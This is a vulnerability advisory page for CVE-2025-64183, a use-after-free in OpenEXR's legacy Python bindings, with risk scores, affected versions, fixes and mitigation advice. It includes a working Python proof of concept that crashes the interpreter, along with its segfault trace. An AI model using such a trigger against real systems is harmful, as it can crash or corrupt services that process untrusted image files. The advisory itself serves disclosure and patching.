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CVE-2025-64183 — openexr

CVE-2025-64183 is a Use After Free vulnerability in openexr. A fix is available for openexr — see the affected versions and patch details below.

OpenEXR has use after free in PyObject_StealAttrString

Also known asGHSA-57cw-j6vp-2p9mPYSEC-2026-2844
Published
Updated
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Nov 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-64183.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk+0.02%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk
0.00%0.27%0.55%0.82%0.1%0.3%May 26Aug 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

3 pkgs affected
🐍openexr🐍openexr🐍openexr

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.

This bug was found with ZeroPath.

Details

The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387

https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286

PoC

import OpenEXR, Imath

# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"

# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
    def __new__(cls, v):
        return int.__new__(cls, v)
    def __del__(self):
        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug
        _ = bytearray(1_000_000)

class PixelTypeProxy:
    @property
    def v(self):
        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine

f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")

running

PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF...
Fatal Python error: Segmentation fault

Current thread 0x00000001f209a140 (most recent call first):
  File "/private/tmp/i/pt.py", line 24 in <module>

Current thread's C stack trace (most recent call first):
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
  Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
  Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
  Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
  Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
  Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]

Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py

Impact

Completely depends on the context. Typical memory stuff related to UAFs.

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopenexr≥ 3.2.0&&< 3.2.53.2.5pip install --upgrade 'openexr==3.2.5'
🐍PyPIopenexr≥ 3.3.0&&< 3.3.63.3.6pip install --upgrade 'openexr==3.3.6'
🐍PyPIopenexr≥ 3.4.0&&< 3.4.33.4.3pip install --upgrade 'openexr==3.4.3'

Affected Products

1 product · 3 configurations
Application
openexropenexr
≥ 3.4.0 && < 3.4.3
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update openexr to 3.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-64183 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

``` This vulnerability affects OpenEXR versions 3.2.x and later, where the Python bindings were first introduced. Red Hat Enterprise Linux 8, 9, 10, and Red Hat In-Vehicle OS (RHIVOS) ship OpenEXR 3.1.x or earlier, which do not include the Python bindings, and are therefore not affected by this flaw. ```

Workaround published by Red Hat
No mitigation is currently available that meets Red Hat Product Security’s standards for usability, deployment, applicability, or stability.
Source: Red Hat security advisory for CVE-2025-64183 (CC BY 4.0)

Frequently Asked Questions

### Summary There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu). ### Details The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.). https://github.com/AcademySoftwareFoundation/openexr/blo
O3 Security · Impact-Aware SCA

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CVE-2025-64183: openexr — Fixed in 3.2.5